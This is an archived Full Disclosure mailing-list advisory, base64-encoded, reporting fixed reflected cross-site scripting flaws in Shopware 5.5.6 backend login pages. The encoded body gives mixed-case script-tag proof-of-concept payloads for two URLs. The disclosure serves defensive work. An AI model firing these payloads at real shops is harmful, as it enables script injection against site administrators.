Multiple Cross-site Scripting Vulnerabilities in Shopware 5.5.6
Daniel Bishtawi <[email protected]> Fri, 31 May 2019 10:48:05 +0200
| Newsgroups | gmane.comp.security.fulldisclosure,gmane.comp.security.news.securitytracker |
|---|---|
| Message-ID | <CAKD6+R54EesSdpRxqd0KsQh1iAEXptRBjTjHwZ0xzWUPh2NCJg@mail.gmail.com> |
SGVsbG8sCgpXZSBhcmUgaW5mb3JtaW5nIHlvdSBhYm91dCB0aGUgdnVsbmVyYWJpbGl0aWVzIHdl IHJlcG9ydGVkIGluIFNob3B3YXJlCjUuNS42LgoKCipJbmZvcm1hdGlvbjogICAgKgpBZHZpc29y eSBieSBOZXRzcGFya2VyCk5hbWU6IE11bHRpcGxlIENyb3NzLXNpdGUgU2NyaXB0aW5nIFZ1bG5l cmFiaWxpdGllcyBpbiBTaG9wd2FyZQpBZmZlY3RlZCBTb2Z0d2FyZTogU2hvcHdhcmUKQWZmZWN0 ZWQgVmVyc2lvbnM6IDUuNS42CkhvbWVwYWdlOiBodHRwczovL2VuLnNob3B3YXJlLmNvbS8KVnVs bmVyYWJpbGl0eTogQ3Jvc3Mtc2l0ZSBTY3JpcHRpbmcKU2V2ZXJpdHk6IEhpZ2gKU3RhdHVzOiBG aXhlZApDVlNTIFNjb3JlICgzLjApOiBBVjpOL0FDOkwvUFI6Ti9VSTpSL1M6Qy9DOkgvSTpOL0E6 TgpOZXRzcGFya2VyIEFkdmlzb3J5IFJlZmVyZW5jZTogTlMtMTktMDA0CgoKKlRlY2huaWNhbCBE ZXRhaWxzOioKVVJMIDogaHR0cDovLwp7RE9NQUlOfS97UEFUSC1PRi1TSE9QV0FSRX0vYmFja2Vu ZC9Mb2dpbj8nIi0tPjwvc3R5bGU+PC9zY1JpcHQ+PHNjUmlwdD5hbGVydCjigJx0ZXN04oCdKTwv c2NSaXB0PgpQYXJhbWV0ZXIgVHlwZSA6IFF1ZXJ5IFN0cmluZwpQYXJhbWV0ZXIgTmFtZSA6IFF1 ZXJ5IEJhc2VkCkF0dGFjayBQYXR0ZXJuIDogJyItLT48L3N0eWxlPjwvc2NSaXB0PjxzY1JpcHQ+ YWxlcnQo4oCcdGVzdOKAnSk8L3NjUmlwdD4KClVSTCA6IGh0dHA6Ly8Ke0RPTUFJTn0ve1BBVEgt T0YtU0hPUFdBUkV9L2JhY2tlbmQvTG9naW4vbG9hZC8/JyItLT48L3N0eWxlPjwvc2NSaXB0Pjxz Y1JpcHQ+YWxlcnQo4oCcdGVzdOKAnSk8L3NjUmlwdD4KUGFyYW1ldGVyIFR5cGUgOiBRdWVyeSBT dHJpbmcKUGFyYW1ldGVyIE5hbWUgOiBRdWVyeSBCYXNlZApBdHRhY2sgUGF0dGVybiA6ICciLS0+ PC9zdHlsZT48L3NjUmlwdD48c2NSaXB0PmFsZXJ0KOKAnHRlc3TigJ0pPC9zY1JpcHQ+CgpSZWdh cmRzLAoKRGFuaWVsIEJpc2h0YXdpCk1hcmtldGluZyBBZG1pbmlzdHJhdG9yIHwgTmV0c3Bhcmtl ciBXZWIgQXBwbGljYXRpb24gU2VjdXJpdHkgU2Nhbm5lcgpUZWw6ICs0NCAoMCkyMCAzNTg4IDM4 NDMKRm9sbG93IHVzIG9uIFR3aXR0ZXIgPGh0dHBzOi8vdHdpdHRlci5jb20vbmV0c3Bhcmtlcj4g fCBMaW5rZWRJbgo8aHR0cHM6Ly93d3cubGlua2VkaW4uY29tL2NvbXBhbnkvbmV0c3Bhcmtlci1s dGQ+IHwgRmFjZWJvb2sKPGh0dHBzOi8vZmFjZWJvb2suY29tL25ldHNwYXJrZXI+CgpfX19fX19f X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXwpTZW50IHRocm91Z2ggdGhl IEZ1bGwgRGlzY2xvc3VyZSBtYWlsaW5nIGxpc3QKaHR0cHM6Ly9ubWFwLm9yZy9tYWlsbWFuL2xp c3RpbmZvL2Z1bGxkaXNjbG9zdXJlCldlYiBBcmNoaXZlcyAmIFJTUzogaHR0cDovL3NlY2xpc3Rz Lm9yZy9mdWxsZGlzY2xvc3VyZS8=